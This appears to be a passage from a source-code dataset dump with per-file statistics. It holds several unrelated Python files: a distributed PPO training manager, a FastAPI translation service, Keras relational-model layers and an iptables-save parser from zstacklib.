'\nCHECKPOINT REACHED -- Epochs = {}/{} -- N Episodes = {} -- N Optimizations = {}\n'.format(
self.curr_epoch, int(self.settings.dur), n_episodes_played, optimization_steps
),
flush=True
)
def rollout_wrapper(self, c_ep_counter):
raise NotImplementedError
def eval_wrapper(self):
raise NotImplementedError
def log_eval_results(self, stats, episodes):
# Save this crop of episodes
if self.rank == 0:
dstr = 'eval_{:04d}'.format(self.curr_epoch)
# c_path = os.path.join(BASE_DIR, self.tag, dstr + '.json')
c_path = os.path.join(self.exp_dir, dstr + '.json')
with open(c_path, 'wt') as f:
json.dump(episodes, f)
# Save the stats dictionary
self.eval_stats[str(self.curr_epoch)] = np.array(stats)
np.savez(os.path.join(self.exp_dir, 'stats_{:02d}.npz'.format(self.rank)), **self.eval_stats)
# Print out some summary stats
mean_stats = np.array(stats).mean(axis=0)
n = len(mean_stats)
f_str = 'E{:04d} Eval Stats, rank {:02d}: ' + (', '.join(['{:+07.3f}'] * n))
print(f_str.format(self.curr_epoch, self.rank, *mean_stats), flush=True)
# Produce a summary
total_stats = torch.from_numpy(np.array(stats))
dist.all_reduce(total_stats)
if self.rank == 0:
net_mean = total_stats / dist.get_world_size()
net_mean = net_mean.mean(dim=0).data.numpy()
f_str = '\nE{:04d} Eval Stats, AVERAGE: ' + (', '.join(['{:+07.3f}'] * n))
print(f_str.format(self.curr_epoch, *net_mean), flush=True)
def update_wrapper(self):
self.optim.zero_grad()
loss = 0
cycle_ep_counter = torch.zeros(1)
for _ in range(self.config["rollouts_per_update"]):
this_loss = self.rollout_wrapper(cycle_ep_counter)
loss += this_loss / self.config["rollouts_per_update"]
loss.backward()
for p in self.agent_model.parameters():
if p.grad is not None:
dist.all_reduce(p.grad.data)
p.grad.data /= dist.get_world_size()
self.optim.step()
for v in self.agent_model.state_dict().values():
dist.broadcast(v.data, src=0)
dist.all_reduce(cycle_ep_counter)
self.agent_model.train_steps += cycle_ep_counter.item()
def do_cycle(self):
for _ in range(self.config["updates_per_cycle"]):
self.update_wrapper()
def init_epoch(self):
return
def do_epoch(self):
self.curr_epoch += 1
self.init_epoch()
for _ in range(self.config['cycles_per_epoch']):
self.do_cycle()
stats, episodes = self.eval_wrapper()
self.log_eval_results(stats, episodes)
if self.rank == 0:
self.checkpoint()
dist.barrier()
for gp in self.optim.param_groups:
gp['lr'] *= self.config.get("epoch_lr_decay", 1.0)
class PPOManager(OnPolicyManager):
def do_cycle(self):
for _ in range(self.config["rollouts_per_cycle"]):
self.update_wrapper()
def update_wrapper(self):
cycle_ep_counter = torch.zeros(1)
self.rollout_wrapper(cycle_ep_counter)
if self.config.get("norm_advantage", False):
self.agent_model.distributed_advantage_normalization()
for u in range(self.config["update_epochs_per_rollout"]):
for mini_batch in self.agent_model.make_epoch_mini_batches(normalize_advantage=False):
self.optim.zero_grad()
loss = self.agent_model(mini_batch)
loss.backward()
for p in self.agent_model.parameters():
if p.grad is not None:
dist.all_reduce(p.grad.data)
p.grad.data /= dist.get_world_size()
# _ = clip_grad_norm_(self.agent_model.parameters(), max_norm=0.5)
self.optim.step()
for v in self.agent_model.state_dict().values():
dist.broadcast(v.data, src=0)
dist.all_reduce(cycle_ep_counter)
self.agent_model.train_steps += cycle_ep_counter.item()
| 35.694511
| 121
| 0.605911
| 1,967
| 14,956
| 4.379766
| 0.127097
| 0.037609
| 0.058503
| 0.026001
| 0.820662
| 0.806268
| 0.778062
| 0.774231
| 0.76599
| 0.759257
| 0
| 0.008831
| 0.273135
| 14,956
| 418
| 122
| 35.779904
| 0.783645
| 0.118213
| 0
| 0.829181
| 0
| 0
| 0.070217
| 0.001902
| 0
| 0
| 0
| 0
| 0
| 1
| 0.085409
| false
| 0
| 0.02847
| 0.007117
| 0.156584
| 0.021352
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
e6bafe2801582bf6ae74dee6ffc0a9dacdb970b7
| 105
|
py
|
Python
|
pre_commit.py
|
ralvescosta/iot_mqtt_amqp
|
d54131f04af2c21e4c8a638b10362902e22547aa
|
[
"MIT"
] | 4
|
2021-06-25T11:14:42.000Z
|
2021-12-20T22:02:13.000Z
|
pre_commit.py
|
ralvescosta/iot_mqtt_amqp
|
d54131f04af2c21e4c8a638b10362902e22547aa
|
[
"MIT"
] | null | null | null |
pre_commit.py
|
ralvescosta/iot_mqtt_amqp
|
d54131f04af2c21e4c8a638b10362902e22547aa
|
[
"MIT"
] | null | null | null |
import os
os.system('cd ./mqtt_bridge && yarn test:cov')
os.system('cd ./iot_consumer && yarn test:cov')
| 26.25
| 47
| 0.695238
| 18
| 105
| 3.944444
| 0.611111
| 0.225352
| 0.28169
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.114286
| 105
| 4
| 47
| 26.25
| 0.763441
| 0
| 0
| 0
| 0
| 0
| 0.632075
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.333333
| 0
| 0.333333
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 7
|
fc1ba8226cd0ce8b2d99429a5cff94259b076cda
| 3,925
|
py
|
Python
|
translatorfren/api.py
|
chritter/translatorfren
|
c87a981f4703fa75db7436ee77a9915d9a6f64fb
|
[
"Apache-2.0"
] | null | null | null |
translatorfren/api.py
|
chritter/translatorfren
|
c87a981f4703fa75db7436ee77a9915d9a6f64fb
|
[
"Apache-2.0"
] | null | null | null |
translatorfren/api.py
|
chritter/translatorfren
|
c87a981f4703fa75db7436ee77a9915d9a6f64fb
|
[
"Apache-2.0"
] | null | null | null |
# Implementation of the FastAPI
# Notes:
# * Could extend with upload capability: https://fastapi.tiangolo.com/tutorial/request-files/
#
from fastapi import FastAPI, Query
import subprocess
app = FastAPI()
@app.get("/fr_to_eng/")
async def endpoint_fr_to_eng(
text: str = Query(
..., # requires input, no default
title="French text to be translated",
description="Query string to translate from French to English.",
min_length=2, # min length string must be
max_length=1000 # max length string must be
),
T_sampling: float = Query(
0.6, #default temperature
title="Optional sampling randomness (temperature)",
description="Fraction between 0 and 1 indicating the sampling temperature or randomness. The higher"
"the more random.",
gt=0., # greater than 0
le=1., # less than 1.
),
):
translation = translate_fr_to_english(text, T_sampling)
return translation
@app.get("/eng_to_fr/")
async def endpoint_eng_to_fr(
text: str = Query(
..., # requires input, no default
title="English text to be translated",
description="Query string to translate from English to French.",
min_length=2, # min length string must be
max_length=1000 # max length string must be
),
T_sampling: float = Query(
0.6, #default temperature
title="Optional sampling randomness (temperature)",
description="Fraction between 0 and 1 indicating the sampling temperature or randomness. The higher"
"the more random.",
gt=0., # greater than 0
le=1., # less than 1.
),
):
translation = translate_eng_to_french(text, T_sampling)
return translation
def translate_fr_to_english(french_text,T_sampling):
'''
Translation function translating from French to English. Starts subprocess.
:param french_text:
:return:
'''
with open('fr_text.txt','w') as f:
f.write(french_text)
# execute the translation, log all outputs to .log file
with open('run_translation_fr_eng.log', 'w') as f:
process = subprocess.Popen(['./run_translation_fr_eng.sh',str(T_sampling)],
stdout=f,
stderr=f)
print('wait')
process.wait()
print('finish')
try:
with open('back_trans_data/paraphrase/file_0_of_1.json') as f:
print('translation from file:')
lines = f.readlines()
return_lines = ''.join(lines)
except:
print('translated file not available. Error!')
return_lines = 'translated file not available. Error!'
print('Resulting lines: ', return_lines)
return return_lines
def translate_eng_to_french(english_text,T_sampling):
'''
Translation function translating from French to English. Starts subprocess.
:param english_text:
:return:
'''
with open('eng_text.txt','w') as f:
f.write(english_text)
# execute the translation, log all outputs to .log file
with open('run_translation_eng_fr.log', 'w') as f:
process = subprocess.Popen(['./run_translation_eng_fr.sh',str(T_sampling)],
stdout=f,
stderr=f)
print('wait')
process.wait()
print('finish')
try:
with open('back_trans_data/paraphrase/file_0_of_1.json') as f:
print('translation from file:')
lines = f.readlines()
return_lines = ''.join(lines)
except:
print('translated file not available. Error!')
return_lines = 'translated file not available. Error!'
print('Resulting lines: ', return_lines)
return return_lines
| 33.262712
| 112
| 0.602038
| 466
| 3,925
| 4.916309
| 0.236052
| 0.031427
| 0.027935
| 0.031427
| 0.806635
| 0.780445
| 0.780445
| 0.765605
| 0.731558
| 0.69402
| 0
| 0.010921
| 0.300127
| 3,925
| 118
| 113
| 33.262712
| 0.82308
| 0.178854
| 0
| 0.722892
| 0
| 0
| 0.294304
| 0.060759
| 0
| 0
| 0
| 0
| 0
| 1
| 0.024096
| false
| 0
| 0.024096
| 0
| 0.096386
| 0.120482
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
fc45aaafdb5b23b4c7117766275ffa6fe079b9a7
| 111
|
py
|
Python
|
application/urls.py
|
andymitrich/pygask
|
4d20ebe0cc25c0d4da1c94fe0f4bd78e5439f96f
|
[
"MIT"
] | 3
|
2015-01-13T09:40:34.000Z
|
2016-12-30T21:03:45.000Z
|
application/urls.py
|
andymitrich/pygask
|
4d20ebe0cc25c0d4da1c94fe0f4bd78e5439f96f
|
[
"MIT"
] | null | null | null |
application/urls.py
|
andymitrich/pygask
|
4d20ebe0cc25c0d4da1c94fe0f4bd78e5439f96f
|
[
"MIT"
] | 1
|
2020-06-15T10:05:26.000Z
|
2020-06-15T10:05:26.000Z
|
from application import app
from application import views
app.add_url_rule('/', 'home', view_func=views.home)
| 22.2
| 51
| 0.783784
| 17
| 111
| 4.941176
| 0.647059
| 0.357143
| 0.5
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.108108
| 111
| 5
| 51
| 22.2
| 0.848485
| 0
| 0
| 0
| 0
| 0
| 0.044643
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.666667
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
5d8ade6fe583c91261833f7507ca48e7a602f114
| 339
|
py
|
Python
|
sdk/ml/azure-ai-ml/azure/ai/ml/_logging/__init__.py
|
dubiety/azure-sdk-for-python
|
62ffa839f5d753594cf0fe63668f454a9d87a346
|
[
"MIT"
] | 1
|
2022-02-01T18:50:12.000Z
|
2022-02-01T18:50:12.000Z
|
sdk/ml/azure-ai-ml/azure/ai/ml/_logging/__init__.py
|
ellhe-blaster/azure-sdk-for-python
|
82193ba5e81cc5e5e5a5239bba58abe62e86f469
|
[
"MIT"
] | null | null | null |
sdk/ml/azure-ai-ml/azure/ai/ml/_logging/__init__.py
|
ellhe-blaster/azure-sdk-for-python
|
82193ba5e81cc5e5e5a5239bba58abe62e86f469
|
[
"MIT"
] | null | null | null |
# ---------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# ---------------------------------------------------------
from .chained_identity import ChainedIdentity, START_MSG, STOP_MSG
from . import debug_mode
__all__ = ["debug_mode", "ChainedIdentity", START_MSG, STOP_MSG]
| 37.666667
| 66
| 0.513274
| 28
| 339
| 5.821429
| 0.607143
| 0.245399
| 0.282209
| 0.331288
| 0.368098
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.088496
| 339
| 8
| 67
| 42.375
| 0.527508
| 0.510324
| 0
| 0
| 0
| 0
| 0.154321
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.666667
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
5d1833204238250da6583773024fe9eb4431867c
| 64
|
py
|
Python
|
rank.py
|
Wanghy93/PlayerScoreRank
|
7460ffab05ac9276035a2b5283e77636787ca508
|
[
"MIT"
] | null | null | null |
rank.py
|
Wanghy93/PlayerScoreRank
|
7460ffab05ac9276035a2b5283e77636787ca508
|
[
"MIT"
] | null | null | null |
rank.py
|
Wanghy93/PlayerScoreRank
|
7460ffab05ac9276035a2b5283e77636787ca508
|
[
"MIT"
] | null | null | null |
"""客户端查询排行榜"""
from upload import uploading
def rank():
pass
| 16
| 28
| 0.6875
| 8
| 64
| 5.5
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.171875
| 64
| 4
| 29
| 16
| 0.830189
| 0.125
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| true
| 0.333333
| 0.333333
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 0
| 1
| 0
|
0
| 7
|
5d23427f9047d48855a9482af26a96afb3b1aaa2
| 4,062
|
py
|
Python
|
src/Blocks.py
|
UM-ARM-Lab/BRDPN
|
777ba3099bffefab1bcb1b20a537df4736fc215c
|
[
"MIT"
] | null | null | null |
src/Blocks.py
|
UM-ARM-Lab/BRDPN
|
777ba3099bffefab1bcb1b20a537df4736fc215c
|
[
"MIT"
] | null | null | null |
src/Blocks.py
|
UM-ARM-Lab/BRDPN
|
777ba3099bffefab1bcb1b20a537df4736fc215c
|
[
"MIT"
] | null | null | null |
import tensorflow as tf
from tensorflow.keras import regularizers
from tensorflow.keras.layers import Input, Dense
from tensorflow.keras.layers import Layer
from tensorflow.keras.models import Model
regul = 0.001
class RelationalModel(Layer):
def __init__(self, input_size, n_of_features, filters, rm=None, reuse_model=False, **kwargs):
self.input_size = input_size
self.n_of_features = n_of_features
self.filters = filters
n_of_filters = len(filters)
if (reuse_model):
relnet = rm
else:
input1 = Input(shape=(n_of_features,))
x = input1
for i in range(n_of_filters - 1):
x = Dense(filters[i], kernel_regularizer=regularizers.l2(regul),
activity_regularizer=regularizers.l2(regul),
bias_regularizer=regularizers.l2(regul), activation='relu')(x)
x = Dense(filters[-1], kernel_regularizer=regularizers.l2(regul),
bias_regularizer=regularizers.l2(regul), activation='linear')(x)
relnet = Model(inputs=[input1], outputs=[x])
self.relnet = relnet
self.output_size = filters[-1]
super(RelationalModel, self).__init__(**kwargs)
def build(self, input_shape):
self.relnet.build((None, self.n_of_features)) # ,self.input_size
# self.weights = self.relnet.weights
def compute_output_shape(self, input_shape):
output_size = self.output_size
input_size = self.input_size
return (None,) + input_size + (int(output_size),)
def call(self, X):
X = tf.reshape(X, (-1, self.n_of_features))
output = self.relnet.call(X)
output = tf.reshape(output, ((-1,) + self.input_size + (self.output_size,)))
return output
def getRelnet(self):
return self.relnet
def get_config(self):
config = super().get_config().copy()
config.update({
'input_size': self.input_size,
'n_of_features': self.n_of_features,
'filters': self.filters,
})
return config
class ObjectModel(Layer):
def __init__(self, input_size, n_of_features, filters, om=None, reuse_model=False, **kwargs):
self.input_size = input_size
self.n_of_features = n_of_features
self.filters = filters
n_of_filters = len(filters)
if (reuse_model):
objnet = om
else:
input1 = Input(shape=(n_of_features,))
x = input1
for i in range(n_of_filters - 1):
x = Dense(filters[i], kernel_regularizer=regularizers.l2(regul),
activity_regularizer=regularizers.l2(regul),
bias_regularizer=regularizers.l2(regul), activation='relu')(x)
x = Dense(filters[-1], kernel_regularizer=regularizers.l2(regul),
bias_regularizer=regularizers.l2(regul), activation='linear')(x)
objnet = Model(inputs=[input1], outputs=[x])
self.objnet = objnet
self.output_size = filters[-1]
super(ObjectModel, self).__init__(**kwargs)
def build(self, input_shape):
self.objnet.build((None, self.input_size, self.n_of_features))
# self.weights = self.objnet.weights
def compute_output_shape(self, input_shape):
output_size = self.output_size
input_size = self.input_size
return (None,) + input_size + (int(output_size),)
def call(self, X):
X = tf.reshape(X, (-1, self.n_of_features))
output = self.objnet.call(X)
output = tf.reshape(output, ((-1,) + self.input_size + (self.output_size,)))
return output
def getObjnet(self):
return self.objnet
def get_config(self):
config = super().get_config().copy()
config.update({
'input_size': self.input_size,
'n_of_features': self.n_of_features,
'filters': self.filters,
})
return config
| 35.321739
| 97
| 0.606352
| 487
| 4,062
| 4.827515
| 0.145791
| 0.076563
| 0.074862
| 0.127605
| 0.835815
| 0.79966
| 0.741812
| 0.741812
| 0.741812
| 0.707784
| 0
| 0.01026
| 0.280158
| 4,062
| 114
| 98
| 35.631579
| 0.793776
| 0.021172
| 0
| 0.711111
| 0
| 0
| 0.020141
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.133333
| false
| 0
| 0.055556
| 0.022222
| 0.3
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
5d4882c4f2d9046def31d2ac3280168ebe2b0c1e
| 34,202
|
py
|
Python
|
zstacklib/zstacklib/utils/iptables.py
|
qianfei11/zstack-utility
|
e791bc6b6ae3a74e202f6fce84bde498c715aee8
|
[
"Apache-2.0"
] | 55
|
2017-02-10T07:55:21.000Z
|
2021-09-01T00:59:36.000Z
|
zstacklib/zstacklib/utils/iptables.py
|
qianfei11/zstack-utility
|
e791bc6b6ae3a74e202f6fce84bde498c715aee8
|
[
"Apache-2.0"
] | 106
|
2017-02-13T09:58:27.000Z
|
2022-02-15T09:51:48.000Z
|
zstacklib/zstacklib/utils/iptables.py
|
qianfei11/zstack-utility
|
e791bc6b6ae3a74e202f6fce84bde498c715aee8
|
[
"Apache-2.0"
] | 68
|
2017-02-13T11:02:01.000Z
|
2021-12-16T11:02:01.000Z
|
'''
@author: frank
'''
import os
from zstacklib.utils import shell
from zstacklib.utils import linux
from zstacklib.utils import log
from zstacklib.utils import ordered_set
from zstacklib.utils.bash import *
from pyparsing import *
logger = log.get_logger(__name__)
_iptablesUseLock = None
_ip6tablesUseLock = None
def get_iptables_cmd(command = None):
def checkIptablesLock():
global _iptablesUseLock
if shell.run("iptables -w -nL > /dev/null") == 0:
_iptablesUseLock = True
else:
_iptablesUseLock = False
if _iptablesUseLock is None:
checkIptablesLock()
if command is None:
if _iptablesUseLock:
return "iptables -w"
return "iptables"
elif command == "restore":
if _iptablesUseLock:
return "iptables-restore -w"
return "iptables-restore"
def get_ip6tables_cmd(command = None):
def checkIp6tablesLock():
global _ip6tablesUseLock
if shell.run("ip6tables -w -nL > /dev/null") == 0:
_ip6tablesUseLock = True
else:
_ip6tablesUseLock = False
if _ip6tablesUseLock is None:
checkIp6tablesLock()
if command is None:
if _ip6tablesUseLock:
return "ip6tables -w"
return "ip6tables"
elif command == "restore":
if _ip6tablesUseLock:
return "ip6tables-restore -w"
return "ip6tables-restore"
class IPTablesError(Exception):
'''iptables error'''
class Node(object):
def __init__(self):
self.name = None
self.identity = None
self.parent = None
self.children = []
def add_child(self, node):
self.children.append(node)
node.parent = self
def get_child_by_name(self, name):
for c in self.children:
if c.name == name:
return c
return None
def get_child_by_identity(self, identity):
for c in self.children:
if c.identity == identity:
return c
return None
def insert_child_before(self, n1, n2):
pos = self.children.index(n1)
self.children.insert(pos-1, n2)
n2.parent = self
def insert_child_after(self, n1, n2):
pos = self.children.index(n1)
self.children.insert(pos+1, n2)
n2.parent = self
def insert_child_all_after_by_name(self, name, node):
n = self.search_by_name(name)
if not n:
raise ValueError('cannot find node[name:%s]' % name)
n.parent.insert_child_after(n, node)
def insert_child_all_after_by_identity(self, identity, node):
n = self.search_by_identity(identity)
if not n:
raise ValueError('cannot find node[identity:%s]' % identity)
n.parent.insert_child_after(n, node)
def insert_child_all_before_by_name(self, name, node):
n = self.search_by_name(name)
if not n:
raise ValueError('cannot find node[name:%s]' % name)
n.parent.insert_child_before(n, node)
def insert_child_all_before_by_identity(self, identity, node):
n = self.search_by_identity(identity)
if not n:
raise ValueError('cannot find node[identity:%s]' % identity)
n.parent.insert_child_before(n, node)
def delete_child_by_name(self, name):
c = self.get_child_by_name(name)
if c:
self.children.remove(c)
c.parent = None
def delete_child_by_identity(self, identity):
c = self.get_child_by_identity(identity)
if c:
self.children.remove(c)
c.parent = None
def walk(self, callback, data=None):
def do_walk(node):
if callback(node, data):
return node
for n in node.children:
ret = do_walk(n)
if ret:
return ret
return do_walk(self)
def walk_all(self, callback, data=None):
ret = []
def do_walk_all(node):
if callback(node, data):
ret.append(node)
for n in node.children:
do_walk_all(n)
do_walk_all(self)
return ret
def search_by_name(self, name):
return self.walk((lambda n, u: n.name == name), None)
def search_by_identity(self, identity):
return self.walk((lambda n, u: n.identity == identity), None)
def search_all_by_name(self, name):
return self.walk_all((lambda n, u: n.name == name), None)
def search_all_by_identity(self, identity):
return self.walk_all((lambda n, u: n.identity == identity), None)
def delete_all_by_name(self, name):
lst = self.search_all_by_name(name)
for l in lst:
l.delete()
def delete_all_by_identity(self, identity):
lst = self.search_all_by_identity(identity)
for l in lst:
l.delete()
def delete(self):
if self.parent:
self.parent.children.remove(self)
self.parent = None
def __str__(self):
return self.identity
class IPTableTable(Node):
def __init__(self):
super(IPTableTable, self).__init__()
def __str__(self):
# if the chain has been deleted, don't add the its counter
lst = ['%s' % self.identity]
for chain in self.children:
lst.append(chain.counter_str)
for chain in self.children:
cstr = str(chain)
if cstr == '':
continue
lst.append(cstr)
lst.append('COMMIT')
return '\n'.join(lst)
class IPTableChain(Node):
def __init__(self):
super(IPTableChain, self).__init__()
self.counter_str = None
def delete_all_rules(self):
self.children = []
def __str__(self):
if not self.children:
return ''
rules = []
for r in self.children:
rules.append(r)
def sort(r1, r2):
return r1.order - r2.order
rules = sorted(rules, sort, reverse=True)
lst = ordered_set.OrderedSet()
for r in rules:
lst.add(str(r))
return '\n'.join(lst)
class IPTableRule(Node):
def __init__(self):
super(IPTableRule, self).__init__()
self.order = 0
def __str__(self):
return self.identity
class IPTables(Node):
NAT_TABLE_NAME = 'nat'
FILTER_TABLE_NAME = 'filter'
MANGLE_TABLE_NAME = 'mangle'
SECURITY_TABLE_NAME = 'security'
RAW_TABLE_NAME = 'raw'
def __init__(self):
super(IPTables, self).__init__()
self._parser = None
self._current_table = None
self._filter_table = None
self._nat_table = None
self._mangle_table = None
self._raw_table = None
self._security_table = None
def get_table(self, table_name=FILTER_TABLE_NAME):
return self.get_child_by_name(table_name)
def get_chain(self, chain_name, table_name=FILTER_TABLE_NAME):
tbl = self.get_child_by_name(table_name)
if not tbl:
return None
return tbl.get_child_by_name(chain_name)
def _create_table_if_not_exists(self, table_name):
table_name = table_name.strip()
table_identity = '*%s' % table_name
table = self.get_child_by_identity(table_identity)
if not table:
table = IPTableTable()
table.identity = table_identity
table.name = table_name
table.parent = self
self.add_child(table)
self._current_table = table
if table_name == self.NAT_TABLE_NAME:
self._nat_table = table
elif table_name == self.FILTER_TABLE_NAME:
self._filter_table = table
elif table_name == self.MANGLE_TABLE_NAME:
self._mangle_table = table
elif table_name == self.SECURITY_TABLE_NAME:
self._security_table = table
elif table_name == self.RAW_TABLE_NAME:
self._raw_table = table
else:
assert 0, 'unknown table name: %s' % table_name
def _parse_table_action(self, tokens):
table_name = tokens[1]
self._create_table_if_not_exists(table_name)
def _parse_commit_action(self, tokens):
self._current_table = None
def _create_chain_if_not_exists(self, chain_name, counter_str=None):
chain = self._current_table.get_child_by_name(chain_name)
if not chain:
chain = IPTableChain()
chain.parent = self._current_table
chain.name = chain_name
chain.identity = chain_name
if not counter_str:
counter_str = ':%s - [0:0]' % chain_name
chain.counter_str = counter_str
self._current_table.add_child(chain)
return chain
def _parse_counter_action(self, tokens):
chain_name = tokens[1]
prefix = ':%s' % chain_name
lst = [prefix]
lst.extend(tokens[2:])
counter_str = ' '.join(lst)
self._create_chain_if_not_exists(chain_name, counter_str)
def _add_rule(self, chain_name, rule_identity, order=0):
chain = self._create_chain_if_not_exists(chain_name)
rule = IPTableRule()
rule_identity = self._normalize_rule(rule_identity)
rule.name = rule_identity
rule.identity = rule_identity
rule.parent = chain
rule.order = order
chain.add_child(rule)
def _parse_rule_action(self, tokens):
chain_name = tokens[1]
self._add_rule(chain_name, ' '.join(tokens))
def _construct_pyparsing(self):
if self._parser:
return
table = Literal('*') + Word(alphas)
table.setParseAction(self._parse_table_action)
chain_name = Word(printables + '.-_+=%$#')
counter = Literal(':') + chain_name + restOfLine
counter.setParseAction(self._parse_counter_action)
comment = Literal('#') + restOfLine
rule = Literal('-A') + chain_name + restOfLine
rule.setParseAction(self._parse_rule_action)
commit = Literal('COMMIT')
commit.setParseAction(self._parse_commit_action)
self._parser = table | counter | comment | rule | commit
@staticmethod
def find_target_in_rule(rule):
#TODO: find pyparsing way
if isinstance(rule, IPTableRule):
rs = str(rule).split()
else:
rs = rule.split()
target = None
for r in rs:
if r == '-j':
target = rs[rs.index(r) + 1]
return target
@staticmethod
def find_ipset_in_rule(rule):
if isinstance(rule, IPTableRule):
rs = str(rule).split()
else:
rs = rule.split()
ipset = None
for r in rs:
if r == '--match-set':
ipset = rs[rs.index(r) + 1]
break
return ipset
@staticmethod
def is_target_in_rule(rule, target):
ret = IPTables.find_target_in_rule(rule)
return target == ret
@staticmethod
def find_target_chain_name_in_rule(rule):
target = IPTables.find_target_in_rule(rule)
# assume target in upper case are default targets
if target and target.isupper():
target = None
return target
def list_used_ipset_name(self):
sets_name = []
rules = self.list_reference_ipset_rules(None)
for r in rules:
set_name = self.find_ipset_in_rule(r)
if set_name not in sets_name:
sets_name.append(set_name)
return sets_name
def list_reference_ipset_rules(self, ipsets=None):
def walker(rule, data):
if not isinstance(rule, IPTableRule):
return False
if ipsets is not None and self.find_ipset_in_rule(rule) in ipsets:
return True
elif ipsets is None and self.find_ipset_in_rule(rule):
return True
return False
rules = self.walk_all(walker, None)
return rules
def _reset(self):
self.children = []
self._current_table = None
self._nat_table = None
self._filter_table = None
self._mangle_table = None
def _from_iptables_save(self, txt):
self._reset()
self._construct_pyparsing()
for l in txt.split('\n'):
l = l.strip('\n').strip('\r').strip('\t').strip()
if not l:
continue
self._parser.parseString(l)
def iptables_save(self):
out = shell.call('/sbin/iptables-save')
self._from_iptables_save(out)
def __str__(self):
lst = []
for table in self.children:
lst.append(str(table))
# iptables-save needs a new line as ending
lst.append('')
return '\n'.join(lst)
def _cleanup_empty_chain(self):
def _is_chain_not_targeted(chain,table):
need_deleted = True
for chain2 in table.children:
if chain2.children:
for rule1 in chain2.children:
if IPTables.is_target_in_rule(rule1,chain.name):
need_deleted = False
break
return need_deleted
def _clean_chain_having_no_rules():
chains_to_delete = []
for t in self.children:
for c in t.children:
if not c.children:
if _is_chain_not_targeted(c,t):
chains_to_delete.append(c)
empty_chain_names = []
for c in chains_to_delete:
if c.name in ['INPUT', 'FORWARD', 'OUTPUT', 'PREROUTING', 'POSTROUTING']:
continue
empty_chain_names.append(c.name)
c.delete()
return empty_chain_names
def _clean_rule_having_stale_target_chain():
alive_chain_names = []
for t in self.children:
for c in t.children:
alive_chain_names.append(c.name)
def walker(rule, data):
if not isinstance(rule, IPTableRule):
return False
chain_name = self.find_target_chain_name_in_rule(rule.identity)
if chain_name and (chain_name not in alive_chain_names):
return True
return False
return self.walk_all(walker, None)
empty_chain_names = _clean_chain_having_no_rules()
logger.debug('removed empty chains:%s' % empty_chain_names)
rules_to_delete = _clean_rule_having_stale_target_chain()
for r in rules_to_delete:
logger.debug('delete rule[%s] which has defunct target' % str(r))
r.delete()
def _sort_chains(self, sys_chain_names, chains, sort_func):
all_chains = []
user_chains = []
for chain in chains:
if chain.name in sys_chain_names:
all_chains.append(chain)
else:
user_chains.append(chain)
user_chains = sorted(user_chains, sort_func)
all_chains.extend(user_chains)
return all_chains
def _sort_chain_in_filter_table(self, sort_func):
if self._filter_table is None:
return
self._filter_table.children = self._sort_chains(['INPUT', 'FORWARD', 'OUTPUT'], self._filter_table.children, sort_func)
def _sort_chain_in_nat_table(self, sort_func):
if self._nat_table is None:
return
self._nat_table.children = self._sort_chains(['PREROUTING', 'POSTROUTING', 'OUTPUT'], self._nat_table.children, sort_func)
def _sort_chain_in_mangle_table(self, sort_func):
if self._mangle_table is None:
return
self._mangle_table.children = self._sort_chains(['PREROUTING', 'INPUT', 'FORWARD', 'OUTPUT', 'POSTROUTING'],
self._mangle_table.children, sort_func)
def cleanup_unused_chain(self, is_cleanup, table_name=FILTER_TABLE_NAME, data=None):
table = self.get_child_by_name(table_name)
if not table:
return
sys_chain_names = ['INPUT', 'FORWARD', 'OUTPUT', 'PREROUTING', 'POSTROUTING']
to_del = []
for chain in table.children:
if chain.name in sys_chain_names:
continue
if is_cleanup(chain, data):
